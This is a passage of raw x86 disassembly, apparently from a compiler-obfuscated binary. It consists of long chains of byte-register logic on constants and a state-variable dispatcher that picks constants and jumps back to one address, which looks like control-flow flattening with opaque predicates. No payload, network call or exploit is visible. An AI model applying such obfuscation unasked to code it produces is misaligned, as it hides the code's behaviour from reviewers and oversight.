or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
or cl, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
xor dh, 0xff
mov ch, cl
xor ch, dh
and ch, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and cl, ah
or ch, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov dh, dl
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov ch, cl
xor ch, dl
and ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov bl, ch
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
mov dl, 1
xor dl, 0
and dl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov bl, dl
xor bl, 0xff
mov bh, al
xor bh, bl
and bh, al
mov bl, 1
xor bl, 0
mov al, ah
xor al, bl
and al, ah
mov byte [ebp - 0x61d], al
xor ch, 0xff
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 0
or ch, al
mov al, byte [ebp - 0x61d]
or bl, 0
xor ch, 0xff
and ch, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x19fae40e
mov ecx, 0xb5710bc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dl, byte [ebp - 0x89]
mov eax, 0xe1092cb7
mov ecx, 0xdf702e42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
xor edx, edx
sub edx, 1
add edx, 0
mov esi, 0xd2554003
add esi, 0
add esi, edx
sub esi, 0xd2554003
xor edi, edi
sub edi, 0xca2352bf
mov edx, eax
add edx, edi
add edx, 0x73e1cc5f
add edx, esi
sub edx, 0x73e1cc5f
add edx, 0x4cf4f302
add edx, 0xca2352bf
sub edx, 0x4cf4f302
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x6b5], al
cmp ecx, 0xa
setl dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or ah, cl
mov bh, 1
xor bh, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or bh, ah
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dh, al
and dh, 0
and bh, cl
mov ch, ah
and ch, 0
and bl, cl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov al, dl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov ch, dl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov ch, 1
xor ch, 1
and ch, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, bl
or al, cl
xor ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov byte [ebp - 0x6bb], cl
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov al, cl
and al, 1
mov byte [ebp - 0x6bd], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x6bc], al
mov al, byte [ebp - 0x6bd]
and cl, 1
or bl, al
mov al, byte [ebp - 0x6bc]
or al, cl
xor bl, al
mov al, 1
xor al, 1
mov cl, bl
xor cl, al
mov al, byte [ebp - 0x6bb]
and cl, bl
mov byte [ebp - 0x6ba], cl
mov cl, 1
xor cl, 1
xor al, 0xff
mov bl, 1
xor bl, 0
or cl, al
mov al, byte [ebp - 0x6ba]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or al, bl
or cl, ch
xor al, cl
mov byte [ebp - 0x68c], al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ch, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, ch
and al, bl
xor ch, bl
or al, ch
mov byte [ebp - 0x6b6], al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x6b7], bh
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and bh, 0xff
mov al, ch
and al, 0
mov byte [ebp - 0x6b9], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x6b8], al
mov al, byte [ebp - 0x6b9]
and cl, ch
or bh, al
mov al, byte [ebp - 0x6b8]
or al, cl
mov cl, byte [ebp - 0x6b7]
xor bh, al
mov al, byte [ebp - 0x6b6]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or bh, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and al, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bl, al
mov al, byte [ebp - 0x6b5]
or cl, ch
mov ch, byte [ebp - 0x68c]
xor bl, cl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov byte [ebp - 0x6aa], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and al, bl
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
or al, ch
mov byte [ebp - 0x6b4], al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or al, bh
mov bh, byte [ebp - 0x6b4]
or ch, bl
xor al, ch
mov byte [ebp - 0x6af], al
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, ch
and al, 0
mov byte [ebp - 0x6b3], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x6b2], al
mov al, byte [ebp - 0x6b4]
and al, bl
mov byte [ebp - 0x6b1], al
mov al, byte [ebp - 0x6b3]
or al, cl
mov cl, byte [ebp - 0x6b2]
mov byte [ebp - 0x6b0], al
mov al, byte [ebp - 0x6b1]
or cl, al
mov al, byte [ebp - 0x6b0]
xor al, cl
mov cl, byte [ebp - 0x6af]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or al, ch
mov byte [ebp - 0x6ac], al
mov bl, 1
xor bl, 1
mov byte [ebp - 0x6ab], bl
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
and bl, 0
mov al, ch
and al, 1
mov byte [ebp - 0x6ae], al
mov al, bh
and al, 0
mov byte [ebp - 0x6ad], al
mov al, byte [ebp - 0x6ae]
and cl, ch
or bl, al
mov al, byte [ebp - 0x6ad]
or al, cl
mov cl, byte [ebp - 0x6ac]
xor bl, al
mov al, byte [ebp - 0x6ab]
or al, bh
xor al, 0xff
or ch, 0
and al, ch
or bl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and cl, bh
mov al, 1
xor al, 1
and al, 0xff
and bh, 1
or ch, cl
mov cl, byte [ebp - 0x6aa]
or al, bh
xor ch, al
xor bl, 0xff
mov al, ch
xor al, bl
and al, ch
mov byte [ebp - 0x6a9], al
mov bh, 1
xor bh, 1
and bh, 0
mov bl, 1
xor bl, 0
mov al, bl
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or bh, al
mov al, byte [ebp - 0x68c]
or ch, bl
xor bh, ch
mov bl, ah
xor bl, 0xff
mov ch, bh
and ch, bl
xor bh, 0xff
mov bl, ah
and bl, bh
or ch, bl
xor ch, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 0
or ch, bh
or bl, 0
xor ch, 0xff
and ch, bl
mov byte [ebp - 0x68e], ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and dl, bl
or ch, dl
mov bh, al
xor bh, 0xff
and bh, 0
mov bl, 1
xor bl, 0
and al, bl
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or bh, al
mov al, byte [ebp - 0x6a9]
or dl, bl
xor bh, dl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
and bl, 1
or dl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov ch, dl
and ch, 1
xor dl, 1
or ch, dl
mov dl, bl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and bl, bh
or dl, bl
xor ch, 0xff
mov bl, dl
xor bl, ch
and bl, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov cl, 1
xor cl, 1
and cl, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x6aa]
or cl, bh
xor ch, cl
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
and bh, 0
or cl, bh
mov byte [ebp - 0x694], cl
mov cl, 1
xor cl, 0
mov bh, dl
xor bh, cl
mov cl, byte [ebp - 0x694]
and bh, dl
mov byte [ebp - 0x6a8], bh
xor al, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 0
or al, cl
mov cl, byte [ebp - 0x6a9]
or bh, 0
xor al, 0xff
and al, bh
mov byte [ebp - 0x6a7], al
mov al, 1
xor al, 0
mov bh, ch
xor bh, al
mov al, byte [ebp - 0x694]
and bh, ch
mov byte [ebp - 0x6a1], bh
xor al, 0xff
mov bh, cl
xor bh, al
mov al, byte [ebp - 0x6a8]
and bh, cl
mov cl, byte [ebp - 0x6a7]
mov byte [ebp - 0x6a0], bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x6a3], bh
xor cl, 0xff
mov byte [ebp - 0x6a4], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x6a2], cl
and bh, 0xff
and al, cl
mov cl, byte [ebp - 0x6a7]
mov byte [ebp - 0x6a6], al
mov al, byte [ebp - 0x6a4]
and al, 0xff
mov byte [ebp - 0x6a5], al
mov al, byte [ebp - 0x6a2]
and cl, al
mov al, byte [ebp - 0x6a6]
or bh, al
mov al, byte [ebp - 0x6a5]
or al, cl
mov cl, byte [ebp - 0x6a4]
xor bh, al
mov al, byte [ebp - 0x6a3]
or al, cl
mov cl, byte [ebp - 0x6a2]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x6a1]
or bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x69a], al
mov al, byte [ebp - 0x6a0]
xor al, 0xff
mov byte [ebp - 0x699], al
mov al, 1
xor al, 0
mov byte [ebp - 0x698], al
mov al, byte [ebp - 0x69a]
and al, 0
mov byte [ebp - 0x69e], al
mov al, byte [ebp - 0x698]
and cl, al
mov al, byte [ebp - 0x6a0]
mov byte [ebp - 0x69f], cl
mov cl, byte [ebp - 0x699]
and cl, 0
mov byte [ebp - 0x69d], cl
mov cl, byte [ebp - 0x698]
and al, cl
mov cl, byte [ebp - 0x69f]
mov byte [ebp - 0x69c], al
mov al, byte [ebp - 0x69e]
or al, cl
mov cl, byte [ebp - 0x69d]
mov byte [ebp - 0x69b], al
mov al, byte [ebp - 0x69c]
or cl, al
mov al, byte [ebp - 0x69b]
xor al, cl
mov cl, byte [ebp - 0x69a]
mov byte [ebp - 0x697], al
mov al, byte [ebp - 0x699]
or cl, al
mov al, byte [ebp - 0x698]
xor cl, 0xff
or al, 0
and cl, al
mov al, byte [ebp - 0x697]
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x695], cl
mov cl, 1
xor cl, 0
and bh, cl
mov byte [ebp - 0x696], bh
mov bh, al
xor bh, 0xff
and bh, 0
and al, cl
mov cl, byte [ebp - 0x696]
mov byte [ebp - 0x693], al
mov al, byte [ebp - 0x695]
or al, cl
mov cl, byte [ebp - 0x694]
mov byte [ebp - 0x692], al
mov al, byte [ebp - 0x693]
or bh, al
mov al, byte [ebp - 0x692]
xor al, bh
mov byte [ebp - 0x691], al
mov al, dl
and al, ch
xor dl, ch
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and al, bh
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0x691]
or ch, bh
xor dl, ch
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x68d], dl
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0x690], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x68f], al
mov al, byte [ebp - 0x690]
and cl, ch
or dl, al
mov al, byte [ebp - 0x68f]
or al, cl
mov cl, byte [ebp - 0x68e]
xor dl, al
mov al, byte [ebp - 0x68d]
or al, bh
xor al, 0xff
or ch, 1
and al, ch
or dl, al
mov ch, bl
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov bh, cl
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and cl, bl
or ch, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
mov bh, dl
and bh, bl
mov al, 1
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and cl, bl
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov dl, dh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dl, dh
or al, ah
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
xor dl, 0xff
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
and dh, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
mov cl, dh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x68c]
or ah, bh
xor cl, ah
mov bh, 1
xor bh, 0
mov ah, cl
xor ah, bh
and ah, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov dh, cl
xor dh, 0xff
mov ah, dl
and ah, dh
xor dl, 0xff
and cl, dl
or ah, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov byte [ebp - 0x683], dh
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov byte [ebp - 0x688], bl
mov al, bh
xor al, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 1
or al, dl
mov dl, byte [ebp - 0x68c]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x68b], cl
mov cl, 1
xor cl, 0
xor dh, cl
mov cl, byte [ebp - 0x683]
and dh, cl
mov cl, byte [ebp - 0x68b]
mov byte [ebp - 0x685], dh
xor dl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x687], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x686], cl
mov dh, bl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x68b]
mov byte [ebp - 0x68a], al
mov al, byte [ebp - 0x687]
and al, 0
mov byte [ebp - 0x689], al
mov al, byte [ebp - 0x686]
and cl, al
mov al, byte [ebp - 0x68a]
or dh, al
mov al, byte [ebp - 0x689]
or al, cl
mov cl, byte [ebp - 0x688]
xor dh, al
mov al, byte [ebp - 0x687]
or bl, al
mov al, byte [ebp - 0x686]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x685]
or dh, bl
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x684], dh
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x684]
or dl, al
mov al, byte [ebp - 0x683]
or dh, bl
xor dl, dh
mov byte [ebp - 0x67c], dl
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x680], bl
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
and bl, 0
and bh, dl
mov byte [ebp - 0x682], bh
mov bh, dh
and bh, 0
and al, dl
mov byte [ebp - 0x681], al
mov al, byte [ebp - 0x682]
or bl, al
mov al, byte [ebp - 0x681]
or bh, al
mov al, byte [ebp - 0x680]
xor bl, bh
or al, dh
xor al, 0xff
or dl, 0
and al, dl
or bl, al
mov al, bl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov byte [ebp - 0x67d], al
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dl, dh
and dl, 0
mov al, bl
and al, 0
mov byte [ebp - 0x67f], al
mov al, bh
and al, 0
mov byte [ebp - 0x67e], al
mov al, byte [ebp - 0x67f]
and cl, bl
or dl, al
mov al, byte [ebp - 0x67e]
or al, cl
mov cl, byte [ebp - 0x67d]
xor dl, al
mov al, byte [ebp - 0x67c]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or dl, dh
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x67b], dh
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and dh, 0
and al, cl
mov bl, dl
and bl, 0
and bh, cl
or dh, al
mov al, byte [ebp - 0x67b]
or bl, bh
xor dh, bl
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or al, bl
or ah, dh
xor al, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, dh
or al, dl
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b23005f
mov ecx, 0xb81ad87e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x82], al
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov esi, 0x804d998b
add esi, 0
sub esi, 0x934bf201
sub esi, 0x804d998b
xor edx, edx
sub edx, 1
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x934bf201
add edx, esi
xor esi, esi
sub esi, edx
xor edi, edi
sub edi, ecx
xor edx, edx
sub edx, 0x2baea67
add edi, edx
xor edx, edx
sub edx, edi
add edx, 0xa3b49ac8
add edx, esi
sub edx, 0xa3b49ac8
sub edx, 0x852212e
sub edx, 0x2baea67
add edx, 0x852212e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl dl
mov byte [ebp - 0x6e8], dl
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov ah, ch
xor ah, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x6d0], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, bl
or al, ah
xor dh, al
xor dl, 0xff
mov ah, dh
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov bl, 1
xor bl, 1
mov al, ah
xor al, bl
and al, ah
mov bh, 1
xor bh, 1
xor dh, 0xff
mov ah, 1
xor ah, 1
or bh, dh
or ah, 1
xor bh, 0xff
and bh, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x6f0], dl
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov bl, dh
and bl, 0xff
and bh, cl
or dl, al
mov al, byte [ebp - 0x6f0]
or bl, bh
xor dl, bl
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x6d8], al
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 1
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov dh, bl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, bh
or cl, ah
xor al, cl
xor al, 0xff
mov ah, 1
xor ah, 1
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
xor bl, 0xff
mov cl, 1
xor cl, 0
or ah, bl
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dh, al
xor dh, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dl, dh
and dl, 0
and al, bl
mov byte [ebp - 0x6ef], al
mov al, bh
and al, 0
mov byte [ebp - 0x6ee], al
mov al, byte [ebp - 0x6ef]
and ah, bl
or dl, al
mov al, byte [ebp - 0x6ee]
or al, ah
mov ah, byte [ebp - 0x6d0]
xor dl, al
mov al, byte [ebp - 0x6d8]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or dl, dh
mov dh, cl
xor dh, 0xff
mov bl, dl
and bl, dh
xor dl, 0xff
and cl, dl
or bl, cl
mov byte [ebp - 0x6cf], bl
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, ah
xor cl, 0xff
mov dl, dh
and dl, cl
xor dh, 0xff
mov cl, ah
and cl, dh
or dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or dl, ah
or cl, 0
xor dl, 0xff
and dl, cl
mov dh, bl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
mov bl, ch
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0
and dh, bh
or cl, bl
or ah, dh
xor cl, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x6eb], bl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and bl, 0
and bh, ch
mov byte [ebp - 0x6ed], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x6ec], al
mov al, byte [ebp - 0x6ed]
or bl, al
mov al, byte [ebp - 0x6ec]
or bh, al
mov al, byte [ebp - 0x6eb]
xor bl, bh
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or bl, al
mov dh, 1
